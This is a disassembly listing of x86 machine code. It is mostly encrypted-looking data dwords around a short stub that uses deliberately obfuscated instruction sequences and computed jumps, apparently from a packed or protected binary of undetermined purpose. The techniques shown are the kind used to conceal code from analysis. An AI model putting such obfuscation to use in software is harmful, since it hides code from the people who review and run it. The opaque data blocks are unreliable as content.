dd 3CD69F57h, 1C69C394h, 0C0D53221h, 51D567F5h, 0C3943E35h
dd 0A2A640BAh, 28176D98h, 6A1E96A4h, 0FDC3943Eh, 3787A185h
dd 980CDE65h, 0BD9F0971h, 0E99D11A3h, 7E3A610Ch, 156DEA04h
dd 810C90CEh, 610C196Dh, 0AF4FEE3Ah, 92DD0534h, 7EECC024h
dd 6C37F4F6h, 0D9037744h, 287CD42Ch, 7155A91Dh, 6EB766E2h
dd 0AD94EA53h, 4F768A83h, 6A93A480h, 0F85FAB8Ch, 197h
dd 0A2B1889Ah, 0DC073245h, 0AE9E033h, 0A5BE859Dh, 0D60D3048h
dd 9FE5786Fh, 4D52B3A0h, 0F202E370h, 9AEF18DBh, 0A547B4AFh
dd 85884501h, 857BCAC5h, 0AE4850BDh, 16EDE0D7h, 0B5197D70h
dd 4256B751h, 48AC91E6h, 1C297AABh, 0BA32BCCEh, 0C394C4CEh
dd 9DE97941h, 12C394C4h, 9F65FE28h, 0B4A50BDh, 0A8A54387h
dd 4C9E625Fh, 87DB2DEFh, 0EFF3CA0h, 2C21CF06h, 0E9227BDBh
dd 94110145h, 58BC86C3h, 0A7BC90F4h, 0BC003D46h, 8A8E207Ch
dd 80BDC24Bh, 374FBEACh, 0A6408408h, 23EDA0C4h, 1862BD9Fh
dd 28B46DD2h, 0C052B108h, 7D372226h, 437E8B70h, 0ADB6C690h
dd 2C6000BFh, 5FCCE7Ch, 0C8ED01EBh, 0BD446B2Ah, 0FF08F145h
dd 1C167EC2h, 0B8C3D991h, 51F3AB2h, 2A104E76h, 454EBFC9h
dd 1A6FDE08h, 0C4D03D2Fh, 2EB5F89h, 0E411DBF2h, 8387A19Ch
dd 6A931296h, 67372C19h, 48DC0E15h, 5042F6F5h, 0D736AB4Ah
dd 0B5FB2686h, 0EB3CED51h, 0B5CF6ADEh, 941A6238h, 0D096698Fh
dd 3425BD3Eh, 34286CD0h, 0C338E26h, 3E045A4Dh, 18237925h
dd 99435AD2h, 0A69C5C42h, 231E6BD2h, 0F7C2D730h, 0E5362303h
dd 0A204DABh, 718471FBh, 52A7A640h, 2094A1F2h, 0E6F6921Ah
dd 1796EBEh, 0FD2AC92Dh, 40299DA8h, 24D11B3Ah, 0C149E7DEh
dd 0A8515C54h, 77F1625Fh, 0E60541E5h, 7E846EBEh, 6482F847h
dd 0DDA19CE9h, 127Ah, 0FD07F600h, 0BD3E24C2h, 1DCFBB33h
dd 7A40C394h, 0DE3D1BCCh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
dd 0CF7BCFFAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 0B68h
mov [esp], edx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
push eax
push ebp
push 27D74985h
pop ebp
or ebp, 649934CBh
add ebp, 711B43E8h
xor ebp, 0DEEB447Fh
mov eax, ebp
pop ebp
mov edx, eax
pop eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push 6424h
mov [esp], edx
pop dword ptr [esi+8]
push dword ptr [esp]
pop esi
add esp, 4
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
retf 61D8h
; ---------------------------------------------------------------------------
db 7Fh
; ---------------------------------------------------------------------------
mov eax, 6119700h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 98h, 77h, 29h
dd 9C0C12Eh, 0C6885414h, 4880354Eh, 17EA5239h, 10C9265Ch
dd 2B8D6674h, 0D0F25939h, 7B06A223h, 0E51CC30Dh, 2FB91B75h
dd 0BCFF5528h, 0A0D4CC1Ah, 0D0A3BE7Dh, 8766D577h, 6FDA424Ah
dd 0CDB30C31h, 0B38D8D43h, 6A061198h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3CBCC357h
dd 56DAA80Fh, 0BEC42D23h, 2E491D8Ch, 174D8D89h, 8E8060Bh
dd 0FE000000h, 509D0A59h, 0BE23AA6h, 0B1B79BDh, 85C75B06h
dd 60B0119h, 595Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0AEC35545h, 7E32E9CEh, 0E9BE2B04h, 13h
dd 830CEB1Dh, 58D2B144h, 0D4974C26h, 0D38B448Dh, 0C751F274h
dd 0B100985h, 6, 0FEB70F00h, 2705B5FFh, 6A060Bh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0B58B48C3h, 60B0E49h, 0AC595FFh, 858B060Bh, 60B0B25h
dd 95FF006Ah, 60B32DDh, 6BEBC08Bh, 0E31FB370h, 0B5C90613h
dd 0AD340D87h, 40F4E831h, 993B2CDEh, 60319586h, 803960A0h
dd 0F90A9D94h, 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh
dd 9DC1F3ABh, 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h
dd 1E7EECC1h, 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h
dd 0CCB965C0h, 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 0E90BB2CEh
dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 6119931h, 3D08428Bh
dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 66BBC8D3h
dd 338B9F17h, 4E883C3h, 174D8589h, 588B060Bh, 8BF88B04h
dd 4A8B1042h, 0BEC8D318h, 0FA4DC379h, 0C72BC633h, 83FCE083h
dd 858904E8h, 60B0119h, 8914428Bh, 0B100985h, 18428B06h
dd 0B0E953h, 0B5FF0000h, 60B1ADDh, 0B9E9h, 49B5FF00h, 0E9060B1Ah
dd 0AEh, 19C9B5FFh, 0A3E9060Bh, 0FF000000h, 0B1B7DB5h
dd 98E906h, 0B5FF0000h, 60B2A41h, 8DE9h, 5B5FF00h, 0E9060B27h
dd 82h, 1AA9B5FFh, 77E9060Bh, 0FF000000h, 0B0105B5h, 6CE906h
dd 0B5FF0000h, 60B1A31h, 61E9h, 0D9B5FF00h, 0E9060B0Eh
dd 56h, 2355B5FFh, 4BE9060Bh, 0FF000000h, 0B21D9B5h, 40E906h
dd 0B5FF0000h, 60B1F8Dh, 35E9h, 0D5B5FF00h, 0E9060B0Fh
dd 2Ah, 0DA5B5FFh, 1FE9060Bh, 0FF000000h, 0B12A9B5h, 14E906h
dd 0D88B0000h, 0BB8h, 0E3F76600h, 99928D8Dh, 0C8030611h
dd 95FFE1FFh, 60B0AC5h, 4D858B5Bh, 39060B17h, 850F0458h
dd 0Fh, 0FF016A53h, 0B32DD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
dd 0D4C96AB8h, 8BE0FF77h, 0B000D85h, 808D8D06h, 8906119Ah
dd 0C38B0141h, 0FE8h, 0DB87A300h, 0CED4C2D7h, 0B7A34AB7h
dd 9A06C209h, 0F5BC6B6h, 0C381FFB7h, 61ACh, 0E8816060h
dd 28E3647h, 66615953h, 618BBFBBh, 182C68h, 11E800h, 921F0000h
dd 3AE0E2FFh, 4777191Ch, 9367AF16h, 0BFD0BFF8h, 7BEBD426h
dd 0B866595Ah, 33FF1C4Fh, 6860Fh, 0E8810000h, 56475A23h
dd 12800F5Eh, 0E8000000h, 7, 5F605659h, 6607656Eh, 3D1FC081h
dd 0E3EE815Ah, 0B0169CFCh, 24EE8196h, 604E5526h, 9539A7BBh
dd 0CEBF0F52h, 0CDEE8161h, 0B06064E8h, 0F3389BCh, 88Dh
dd 2810F00h, 0B6000000h, 0A7EB8161h, 0E969216Ch, 8, 0B4BB82CDh
dd 9EB5F692h, 6CA3C381h, 7E86921h, 0E5000000h, 0A7638954h
dd 12E9566Fh, 0C3000000h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
dd 360034DAh, 0E9815F9Dh, 1, 0FF60850Fh, 8060FFFFh, 810F96D4h
dd 4, 3724BE66h, 12E861h, 0B4D0000h, 12BD91B5h, 66674C16h
dd 0FE3CFD08h, 5EDA20BCh, 5CCA815Bh, 81788B46h, 5EA8C3h
dd 46BA6600h, 5DF2BED4h, 0F68130E3h, 30E34A72h, 0F8F0Fh
dd 6E80000h, 0B5000000h, 9C65F51Fh, 0AEEC807Dh, 0E833FF58h
dd 0Ah, 6A659382h, 43D077FCh, 0CE80510h, 80000000h, 0BA68B082h
dd 7F7B282h, 8A504231h, 595F5FF5h, 66A9B460h, 61B94BBFh
dd 0D712C181h, 840F202Ch, 0Bh, 0DEB70F60h, 8C0Fh, 81610000h
dd 0CAD8F7E9h, 0E7C18104h, 0BA2E9759h, 1598A789h, 0EB830B89h
dd 0C18B6604h, 9A850F4Eh, 66FFFFFFh, 8D8DD78Bh, 6119D35h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F4C35747h
dd 89D418C1h, 0B20B985h, 4D8D8906h, 81060B17h, 9C99B8F2h
dd 1985C746h, 54060B01h, 8B000072h, 0B208585h, 985C706h
dd 60B10h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 98F2C353h, 0E6C3BF61h, 0C78B8DC2h
dd 63DB58Bh, 0B5FF060Bh, 60B2A41h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 4DC35141h, 1C6643FEh, 0E7B52985h
dd 98D8960h, 61060B08h, 21A19529h, 0B589060Bh, 60B188Dh
dd 0AC595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0BB918BC3h, 6A6B7Dh, 32DD95FFh
dd 0C08B060Bh, 0DAED19EBh, 7006D8D9h, 0FD6FF405h, 0E1738149h
dd 6A4D5212h, 4E74FF94h, 0EB9A7C20h, 8, 70BE0300h, 4EDE950h
dd 67680000h, 0E906119Eh, 0FFF9E1CBh, 119EEB68h, 0E1C1E906h
dd 7B68FFF9h, 0E90611A0h, 0FFF9E1B7h, 0E67D545Eh, 10C3FE09h
dd 4E95A4F7h, 0F97A59A1h, 2AC9F40Ch, 53A944ABh, 116F76Ch
dd 0BEC6273Ch, 66B35C87h, 0E903886Bh, 85800145h, 413786C5h
dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 9F218514h, 0EC50AABDh
dd 60EF0444h, 0D40BD13Ah, 567C8138h, 31739DA1h, 54AD5CB4h
dd 1B842C35h, 60000003h, 84150BDh, 8BC6D584h, 770C7997h
dd 3C2E3547h, 53443B2h, 52E1BEBh, 0ED52BD9Fh, 9DE26918h
dd 5F9B97A0h, 1D2F2CDAh, 60B8FD89h, 0F3971F3Ah, 743A60B8h
dd 0C049B10Eh, 0D03498B1h, 6CBF6EFCh, 3ACCB35Dh, 3F0413F3h
dd 0E149A9F3h, 0A69DE5E7h, 24BFB599h, 98EB1AC0h, 6ED2EF34h
dd 5618362Ah, 10A9AFDEh, 76DA2041h, 0FDD6636h, 1B94EAE7h
dd 0D5077B4Bh, 71E2DF28h, 0B9B68394h, 8FD96D47h, 3B21E66Ch
dd 0B9000003h, 608D566Dh, 0CE3F2415h, 0B8558EC3h, 67805362h
dd 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh, 4C798A7Bh
dd 6E866A97h, 0C585831Ah, 0BDA61EEDh, 48C1541Eh, 7A944245h
dd 81A5A22h, 0C9C2D496h, 0CFBB3339h, 40C39421h, 29D4067Ah
dd 0A547E1DCh, 858E1401h, 3B2119BDh, 18297CA9h, 3A051FEEh
dd 89B4CC39h, 295DD163h, 0BE3A7A83h, 8EA6AA44h, 3C85D1C1h
dd 0D11E2B7Ch, 866417F9h, 0B747380Ah, 35000002h, 9C09EAE1h
dd 4ABBB889h, 34D1023Fh, 0E30CD7EEh, 6BDA699h, 0D9E43CDFh
dd 0A994ED1Ah, 7C4B5D4Ah, 0C0FD06E7h, 0EA02EE13h, 0C585839Eh
dd 6F3AA211h, 5AE4760Dh, 996D5CABh, 0F0C1D4A5h, 0B2AB8E56h
dd 0A69CBD85h, 8B9D08D2h, 82C292BCh, 33A7A7Eh, 8475D9F0h
dd 4A3EB671h, 0DD3A7A7Eh, 3D81E5h, 899C0580h, 9CF0D4B8h
dd 56AA3B79h, 2C2E6FB7h, 19992h, 33BD7A00h, 941DCFBBh
dd 0CC7A40C3h, 0B5193441h, 5D86B3C4h, 7AE07B01h, 9F196FF2h
dd 8B23ADBDh, 3A60E6FFh, 7FDC0A70h, 0CFBFB71Bh, 1A3A60E6h
dd 18850F9Eh, 8073009h, 40D78C5Fh
dd 0FF2E103Eh, 3D2C34FDh, 5F89C4D0h, 509Ah, 0D6F6200h
dd 9D77E476h, 0AA31079Fh, 9E4A3EB6h, 0E5DDC394h, 61856781h
dd 0BD9F86B0h, 0A91946D0h, 89693394h, 0DD345090h, 47BB3A61h
dd 0EC50AAA9h, 61DD0444h, 9A0BD13Ah, 0F6CABE8Bh, 0C54F5E58h
dd 9FDC0D8h, 8211B35h, 212C36B1h, 0BBh, 23D5DECFh, 1C742758h
dd 93675B77h, 1BEFD62Ah, 0E05461B2h, 20A4C85Ah, 0A7C394AAh
dd 4F58B553h, 0AA646084h, 97EBC394h, 297CA9B3h, 0B650B418h
dd 0AF07A93Dh, 2D76C394h, 0FD417C85h, 0E0BEA599h, 0CA07129Ch
dd 3C2E0246h, 0F88C20B2h, 4FC394AFh, 0FE09DD0Bh, 4FBD993Eh
dd 0EC34E10Bh, 869A0BD1h, 5AD691BFh, 0F9635EABh, 671C1175h
dd 82AC963Ah, 814E718Bh, 865FB53Bh, 272DE260h, 0A5000001h
dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h
dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h
dd 0C585BD0Eh, 0DE4A3281h, 8F78FBDAh, 0FFC6DA7Ah, 0DEB8589Bh
dd 0A514F8D5h, 72FE6550h, 0E9C7A83h, 0E2469EBAh, 0F7C76145h
dd 0D84C9EA5h, 0BD9EB17Fh, 0B5608AF0h, 14AC6B66h, 0D618A825h
dd 0EE1FD17Fh, 2648ABAAh, 3A6129A6h, 7CE7D227h, 0C2B68993h
dd 0A90Dh, 0D6F9700h, 5940E476h, 0D6BD85B2h, 7ECE3637h
dd 53EC86A5h, 35AFAE0Dh, 8C7054ACh, 66FDC8DDh, 0D3EE3BEAh
dd 10FD2B6Fh, 0BB20CA07h, 67C287D2h, 0F850FE61h, 1BDBC368h
dd 82392B94h, 0F092F632h, 0BFF9170Dh, 81BCC92Eh, 5560B552h
dd 0D3E238E1h, 5B7ABE6Fh, 0C6FB06F7h, 0A1152477h, 9B9EA3F8h
dd 7324C59h, 0D7B33B45h, 58601921h, 0B1889B62h, 8901D97h
dd 0E515C7D3h, 24730297h, 96DA115h, 28256EDFh, 63C9D3C2h
dd 7F53271Ah, 0B553B71Bh, 8024B632h, 60195AC4h, 74D9774Bh
dd 5A758323h, 33D9266h, 47000000h, 0D4DE9C84h, 57A009FDh
dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
dd 798871C5h, 0FA0DFC40h, 52CF7BCFh, 0C281E289h, 4, 8704EA83h
dd 895C2414h, 29682414h, 8900001Bh, 7668241Ch, 89000042h
dd 0E3BB242Ch, 431F0323h, 31F3814Bh, 560BE006h, 0C83F0ABEh
dd 5EF32160h, 787EC381h, 8B540551h, 0C483242Ch, 4815304h
dd 0D2498824h, 8458F3Bh, 276BB850h, 2D4021E7h, 0E614DDE4h
dd 58084529h, 5D2434FFh, 8B04C483h, 8953241Ch, 4C381E3h
dd 83000000h, 1C8704C3h, 0F0E95C24h, 2FFF9DCh, 39EEED03h
dd 0B88F6F96h, 611A1C7h, 0E0FFC503h, 19D12EF4h, 7CEBB025h
dd 406E941Ch, 458BFFF2h, 744BE629h, 630B0A4h, 7D7E77D2h
dd 0ED682EDh, 92707E7h, 322AA02Eh, 74DE2625h, 472636BEh
dd 3D693F8Ch, 3586B36h, 5DA01A01h, 5A9C8C10h, 21973A53h
dd 4073085Ah, 48A3D7D0h, 3DFE05ACh, 6DFEC974h, 6EA17065h
dd 0BCB6D25h, 5A8AAB23h, 3D708CAh, 17122275h, 4E012951h
dd 0AAFD854h, 5AE270C5h, 614BD2BAh, 70635A7Dh, 75AC44D4h
dd 13E8h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h
dd 0DC9C0ED1h, 0DE9h, 0A8946D00h, 8C2A1229h, 8071DD42h
dd 665ACE9Ch, 0C281C88Bh, 6C50h, 33F6BF0Fh, 23C8BC0h, 5621ABBh
dd 91C7814Bh, 0F6519E8h, 0EF81CFB7h, 2F074E02h, 6104BE66h
dd 0F609EF81h, 57F54123h, 0CE9h, 0EA153000h, 0BDC521Bh
dd 0DB9D57DAh, 2048F35h, 83F78B66h, 35BE04E8h, 813C59B2h
dd 0FF948CF8h, 19850FFFh, 66000000h, 56E9D98Bh, 6F000000h
dd 0D4AD6905h, 77E27443h, 4F0DD866h, 0C77996EBh, 2A890Fh
dd 0AE80000h, 28000000h, 6333227Eh, 1FFEF111h, 14E844h
dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h
dd 5E59F7E0h, 0FFFF64E9h, 0D11FB1FFh, 6BFD3188h, 0EF89B81Eh
dd 0C29228A9h, 0AE881h, 57430000h, 0B8A180CCh, 4A1D1732h
dd 0FE95Eh, 0A7710000h, 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h
dd 50C681F8h, 6600005Bh, 1537C181h, 34FFC033h, 0CAB70F30h
dd 0AE95Bh, 43630000h, 0BD71D075h, 3552EA32h, 19B2F381h
dd 81F90652h, 405C53EBh, 0D0B65107h, 7CEB815Ah, 0B665372Eh
dd 0BF665365h, 48FE8A2h, 0F9B70F06h, 58C0Fh, 0CEBA0000h
dd 816347FEh, 6C9DFEE8h, 0FAC08159h, 0E9596C9Dh, 0Eh, 3A80DFD4h
dd 0E3A1ED3Ch, 0F3C2842Dh, 0F881654Eh, 0FFFFA548h, 0FF90850Fh
dd 13E8FFFFh, 20000000h, 4D2C5FCh, 0B761E00Fh, 3E5B3F87h
dd 89B2B49Bh, 8B66DBC1h, 8E0F59F7h, 4, 76DEBF66h, 5A8BC181h
dd 14E90000h, 6E000000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh
dd 0DB52FABh, 2BE123EAh, 57E681D2h, 0FF063BCFh, 0F5B0A34h
dd 58Ch, 0BBC6BE00h, 0F3811227h, 2CD5AF93h, 0FE8h, 0FC79DD00h
dd 223DEBECh, 50BE2170h, 0E8C3E951h, 13E9h, 6E4DAE00h
dd 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0F2C3815Eh
dd 8110D3E0h, 0A5E926F3h, 0BE97Dh, 0ADE0000h, 0D54497FCh
dd 0AC557BC0h, 0F08153CBh, 25B637Fh, 0F11048Fh, 0B82h
dd 6E900h, 457C0000h, 71097460h, 0FE9h, 7BA2A100h, 73D2E8Fh
dd 53A0A997h, 98357A6Ah, 0E901EA83h, 0Dh, 9F935CACh, 988BFBD0h
dd 0CCA68A0h, 4A4A4AD0h, 0A6A0FA81h, 850FFFFFh, 1Eh, 0AE9h
dd 2B351F00h, 0C89915E9h, 0E9A29160h, 22h, 0BCCAF818h
dd 9F24254Ch, 0BF0FEA7Bh, 0FF29E9F7h, 0BE22FFFFh, 6BC139D3h
dd 0D8679E22h, 0E03A0CD4h, 6E8ABE2h, 7D000000h, 5C1C8F59h
dd 0BE85663h, 8E000000h, 83F99B09h, 554417E3h, 0B70F57BFh
dd 5E5B5FDEh, 513F7FBBh, 0A6C6810Ch, 0BB000061h, 575DCD01h
dd 183668h, 12E96000h, 0F7000000h, 0D62EC638h, 0AF936CEEh
dd 54B2A13Ah, 0D82538ACh, 0FDFDBF82h, 5A617DBEh, 66DF8B60h
dd 0D6B0E181h, 0F068B61h, 884h, 28E0F00h, 0B5000000h, 43F081A7h
dd 0B7498C4Bh, 97E88170h, 0E86901B5h, 0Dh, 4D6A1CFDh, 0AC3A10F2h
dd 0DE4D1EA6h, 0E8815F17h, 6AC76BF5h, 0DF07BA60h, 0F500210h
dd 87h, 50615F00h, 8F2EC180h, 83FE8A06h, 0E86004EEh, 0Dh
dd 0D0783BDh, 0A3AE7CB4h, 0F421063Bh, 585E536Bh, 4B61F281h
dd 83611C57h, 850F01EAh, 0FFFFFF89h, 83C08BF5h, 0B05BDBDh
dd 9750006h, 29D1BD83h, 7400060Bh, 8B535019h, 421B8C0h
dd 85890000h, 60B2A35h, 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh
dd 60B29D1h, 50177400h, 421B853h, 85890000h, 60B2A35h
dd 0B0099D8Dh, 0D3FF060Dh, 0C08B585Bh, 159D9D8Bh, 85C6060Bh
dd 60B2845h, 0B8526856h, 0B5FF9CA8h, 60B1355h, 7D18858Dh
dd 0D0FF060Eh, 68046Ah, 0FF000010h, 0B0F4DB5h, 0FF006A06h
dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 60B7305h, 0C88BE1FFh
dd 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch, 0B0EB9BDh
dd 840F0006h, 0Eh, 0EB99D8Bh, 858B060Bh, 60B26E5h, 52510389h
dd 4245858Dh, 0D0FF060Bh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
dd 60B2845h, 6D396856h, 0B5FFD41Fh, 60B1355h, 7D18858Dh
dd 0D0FF060Eh, 800068h, 52006A00h, 0C08BD0FFh, 5BDBD83h
dd 7500060Bh, 0D1BD8309h, 60B29h, 53501974h, 21B8C08Bh
dd 89000004h, 0B129985h, 819D8D06h, 0FF060DB3h, 83585BD3h
dd 0B29D1BDh, 17740006h, 21B85350h
dd 89000004h, 0B129985h, 229D8D06h, 0FF060DB0h, 8B585BD3h
dd 0B99D8DC0h, 8B060B0Eh, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
dd 4B41B8h, 0FDED5500h, 0F67A5E75h, 0E669A476h, 0FD49BC56h
dd 0FD20A7EAh, 0FD208948h, 0FD209989h, 0FD2013EFh, 0FD20D6D9h
dd 0FD2034B7h, 0FD20459Ch, 0FD20FC7Dh, 0FD20A068h, 0FD208E97h
dd 0FD209E6Ch, 0FD2015C1h, 0FD20D722h, 0FD203503h, 0FD2044ECh
dd 0FD20FBA8h, 0FD20A7FCh, 358A259Dh, 0D6A22295h, 0DE714A76h
dd 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h, 0FD78CB74h
dd 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h
dd 0A769B276h, 0A7695A75h, 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h
dd 0F8B29074h, 701ABC75h, 0ECD1BBF0h, 0E1FFA673h, 707C86DDh
dd 0ECD130F0h, 21FF6C73h, 707CE3D2h, 0ECD640F0h, 0E5FF3573h
dd 707C4FDDh, 0ECD1B6F0h, 1DFF1E73h, 707CDAD2h, 0ECD1BDF0h
dd 19FF7B73h, 707C68D2h, 0ECD34AF0h, 15FFD773h, 707C3ED2h
dd 0ECD09FF0h, 11FF4273h, 707CF4D2h, 0ECD0ECF0h, 0DFFF073h
dd 707CADD2h, 0ECD027F0h, 1FFA673h, 707C86D2h, 0ECD08EF0h
dd 9FF6C73h, 707CE3D2h, 0ECD01DF0h, 5FF3573h, 707C4FD2h
dd 0ECD056F0h, 1FF1E73h, 707CDAD2h, 0ECD056F0h, 0F1FF7B73h
dd 707C68DDh, 0ECD06EF0h, 0EDFFD773h, 707C3EDDh, 0ECD062F0h
dd 0E9FF4273h, 707CF4DDh, 0ECD1CCF0h, 0FDFFF073h, 707CADDDh
dd 0ECD12BF0h, 0F9FFA673h, 707C86DDh, 0ECD6DBF0h, 0F5FF6C73h
dd 767CE3DDh, 0F678C8F0h, 0A8FF3573h, 767C4FDDh, 0F66DF2F0h
dd 0A4FF1E73h, 9C7CDADDh, 11F1B0B6h, 0FD7AF29Dh, 17FB2375h
dd 0FB6B151Ch, 0F53FD525h, 552EADFDh, 34229164h, 0AC7ACFB7h
dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0ECD33698h, 26FFA073h
dd 7D7C3ED2h, 0ECDD4CC8h, 0B409CF73h, 4B75E4C5h, 89BAF9B5h
dd 0A4EF8635h, 0BD7CADDDh, 452B96FEh, 0FD7A2F7Ah, 5523028Ah
dd 48F7CD64h, 0FB6B42A9h, 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h
dd 0FD7A5E76h, 5523BA8Ah, 48F79164h, 0FB6B6CA9h, 50FCD1F8h
dd 1F23228Ah, 26F787BCh, 0A07CADD2h, 0A320052Dh, 6D92EC2Ch
dd 4D7A9777h, 5779C1CDh, 552F708Ah, 3ED1F464h, 0FD78079Dh
dd 9BC2DA75h, 9B5954CDh, 0A8EFD0DEh, 9B7C86DDh, 959208DEh
dd 0B7AE577h, 8872F336h, 0A8EF866Eh, 4D7CADDDh, 0AD7954C5h
dd 552FBA8Ah, 9B209164h, 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h
dd 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh, 0DF709491h
dd 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h, 0A77ABC77h
dd 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h
dd 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h, 3D59A568h
dd 0DF709491h, 4DBA07F5h, 6885B5FFh, 0FB6B5A20h, 0FD5F1F2Fh
dd 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h, 359261F4h
dd 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h, 61CA9DDFh
dd 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh, 0FD4C1A75h
dd 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h, 0FD7A699Dh
dd 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h
dd 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh
dd 0A4EF0D75h, 707C68DDh, 0ECD29CC0h, 518A5D73h, 2D02C7Fh
dd 0ECD2C2E0h, 0E5920873h, 4D7AE574h, 5779F825h, 2844B9Dh
dd 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h
dd 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah, 5722EEDFh
dd 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h
dd 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh, 2FFF69B6h
dd 7D7CDAD2h, 0ECDD37C8h, 0EC0FF373h, 553EFCF8h, 152ABA64h
dd 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah
dd 9CCA0D8Ah, 2FF787DFh, 7D7CADD2h, 0ECDD8CC8h, 0F10F2F73h
dd 553E12F8h, 152ACD64h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h
dd 0FB6B142Ch, 51DBC3F8h, 0F9F02964h, 4DB93D6Dh, 562D619Ch
dd 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h, 552FCB8Ah
dd 4ACE2964h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h
dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 0A8EF68B6h
dd 7D7CDADDh, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah
dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 5523708Ah
dd 60F7F464h, 0FB6BD14Dh, 3E39A0F8h, 0FD7A4ECDh, 0A4EFD075h
dd 7E7C86DDh, 35F1CEB5h, 0A8EF1A89h, 577CE3DDh, 15B98E97h
dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h, 1608CB75h
dd 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h
dd 0FB6B83C4h, 7D86EAFCh, 0ECD29FCFh, 7975E573h, 0FD7AF2ECh
dd 0FD7A73CDh, 0A4E84375h, 0BD7C4FDDh, 5527ADFCh, 35F19164h
dd 50FF79F8h, 6F85E364h, 0FB6B5A20h, 1F3C7FFDh, 0FD6D0480h
dd 7F795E75h, 0FB6B8728h, 84E01A35h, 7E7CDAD8h, 0FEF3E1B6h
dd 0FD644B22h, 77797975h, 0FB6B1428h, 501DECF8h, 59892964h
dd 0FD722F2Bh, 6F85CB75h, 0FB6B4D2Ch, 897E0AF6h, 447C7185h
dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h
dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h
dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h
dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h
dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h
dd 151AB2FEh, 0FD7A2F75h, 6590162Fh, 707CDAD8h, 0ECD284CFh
